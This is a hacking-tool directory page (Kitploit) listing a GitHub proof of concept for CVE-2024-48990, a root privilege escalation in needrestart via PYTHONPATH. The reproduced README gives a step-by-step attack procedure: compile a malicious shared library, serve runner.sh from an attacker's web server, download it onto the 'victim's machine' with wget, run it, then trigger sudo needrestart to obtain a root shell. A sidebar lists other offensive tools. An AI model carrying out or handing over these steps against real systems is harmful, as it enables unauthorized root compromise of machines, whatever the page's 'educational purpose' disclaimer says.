Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/grecosamuel/cve-2024-48990
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & Education
GitHubgrecosamuel/cve-2024-48990

CVE-2024-48990

PoC about CVE-2024-48990. Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable. (NIST)

View Repository
2410 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    491
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    462
  • 3

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    345
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    340
  • 5

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    306
  • 6

    estorides

    grisuno/estorides

    Aggregates 99+ free OSINT sources in parallel, resolves entities into a knowledge graph, and exports STIX 2.1, MISP, or GraphML with LLM-assisted analysis.

    292

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-48990

[!WARNING] These files and informations are intended for educational purpose only. The author is not responsible for any malicious behavior. All informations provided are not intended to incite any type of crime or abuse.

Description

Qualys discovered that needrestart, before version 3.8, allows local attackers to execute arbitrary code as root by tricking needrestart into running the Python interpreter with an attacker-controlled PYTHONPATH environment variable. Check NIST for official details.

PoC

  1. Download repository from git

git clone https://github.com/grecosamuel/CVE-2024-48990.git

  1. Compile exploit.c library to generate a valid ELF library and named it __init__.so

gcc -shared -fPIC -o __init__.so exploit.c

  1. Change <IP> and <PORT> in runner.sh, line 7 and line 10, with your IP and PORT of your own web server.
  2. Start the web server

python3 -m http.server

  1. Download runner on victim's machine

wget http://IP:PORT/runner.sh

  1. Set executable permission to runner

chmod +x runner.sh

  1. Run script

./runner.sh

  1. Run needrestart with sudo permission

sudo needrestart

When read [*] CVE module created press CTRL+C to stop process and get your shell !

Download Tool